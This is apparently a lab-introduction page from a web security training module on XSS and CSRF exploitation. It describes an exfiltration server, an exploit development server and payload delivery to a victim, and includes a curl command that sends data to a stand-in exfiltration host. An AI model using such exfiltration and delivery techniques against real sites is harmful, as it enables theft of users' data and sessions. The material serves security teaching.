Advanced XSS and CSRF Exploitation  

  1. Page 2
  2. Introduction to the Lab Environment

Introduction to the Lab Environment

In this module, all labs will follow the same general structure, containing multiple virtual hosts that we can use to develop, fine-tune, and deliver our exploit. In this section, we will discuss the different tools at our disposal and how we can use them to exploit the different CSRF and XSS vulnerabilities we will encounter in the upcoming sections.

Generally, the labs consist of the following components:

  • An exfiltration server at exfiltrate.htb
  • An exploit development server at exploitserver.htb
  • The vulnerable web application we are assessing at vulnerablesite.htb

Exfiltration Server

The exfiltration server at exfiltrate.htb can be used to exfiltrate data. As such, the exfiltration server logs all request parameters of all requests made to it, including GET parameters, POST parameters, and HTTP headers. Logged data can be accessed at the /log endpoint.

For instance, we can make the following HTTP request, assuming we are exfiltrating data via the two parameters param1 and param2:

[!bash!]$ curl -X POST --data 'param1=Hello' http://exfiltrate.htb?param2=World

Afterward, we can retrieve the log to view the exfiltrated data:

[!bash!]$ curl http://exfiltrate.htb/log

-----
/?param2=World
Host: exfiltrate.htb
User-Agent: curl/7.88.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 172.17.0.1
X-Forwarded-Host: exfiltrate.htb
X-Forwarded-Server: exfiltrate.htb
Content-Length: 12
Connection: Keep-Alive


param1=Hello

We can also access the log in a web browser:

Exploit Development Server

We can use the exploit development server at exploitserver.htb to develop a CSRF or XSS payload and deliver the exploit to our victim.

The exploit development server enables us to develop a custom exploit to target specific vulnerabilities we find in the target web applications. Suppose, for an XSS proof-of-concept on a target web app, we want to trigger an alert box:

We can view our developed exploit by accessing the endpoint /exploit. Doing so triggers the alert pop-up:

Lastly, we can deliver exploit to our victim by accessing the /deliver endpoint, which will cause the victim to trigger our developed payload by visiting http://exploitserver.htb/exploit. This is helpful in CSRF attacks, where the victim needs to access the payload voluntarily to trigger the exploit code. This module focuses on exploit development, not exploit delivery methods. Delivering the payload to the victim forces triggering the exploit; in the real world, numerous exploit delivery methods exist, including sending a link to the victim via e-mail or any messaging service.

We can also use the exploit server to develop an XSS payload. However, we do not need to deliver the exploit to the victim in such cases, as the payload will be delivered by the injected XSS payload on the vulnerable site.

Previous
Next